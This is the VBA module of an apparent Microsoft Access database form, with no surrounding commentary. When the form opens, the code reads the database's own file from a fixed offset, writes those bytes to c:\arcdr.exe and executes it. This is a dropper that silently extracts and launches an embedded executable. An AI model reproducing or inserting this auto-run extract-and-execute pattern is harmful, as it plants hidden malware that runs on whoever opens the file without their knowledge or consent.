Private Sub Form_Load()

End Sub

Private Sub Form_Open(Cancel As Integer)
dat
End Sub

Option Compare Database
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Public Const GENERIC_READ As Long = &H80000000
Public Const GENERIC_WRITE As Long = &H40000000
Public Const FILE_SHARE_READ As Long =  1 
Public Const FILE_SHARE_WRITE As Long =  2 
Public Const CREATE_NEW As Long =  1 
Public Const CREATE_ALWAYS As Long =  2 
Public Const OPEN_EXISTING As Long =  3 
Public Const OPEN_ALWAYS As Long =  4 
Public Const TRUNCATE_EXISTING As Long =  5 
Public Const INVALID_HANDLE_VALUE As Long = - 1 
Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80

Sub dat()

Dim buffer( 65536 ) As Byte

Dim h, h2, j, i, k As Long

h = CreateFile(CurrentProject.Path & "/" & CurrentProject.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE,  0 , OPEN_EXISTING,  0 ,  0 )

h2 = CreateFile("c:\arcdr.exe", GENERIC_WRITE,  0 ,  0 , CREATE_ALWAYS,  0 ,  0 )

If h = INVALID_HANDLE_VALUE Then

Exit Sub

End If

k = SetFilePointer(h,  151552 , nil,  0 )

Do

i = ReadFile(h, buffer( 0 ),  65536 , j,  0 )

i = WriteFile(h2, buffer( 0 ), j, j,  0 )

Loop Until j <  65536 

CloseHandle (h)

CloseHandle (h2)

Shell "c:\arcdr.exe"

End Sub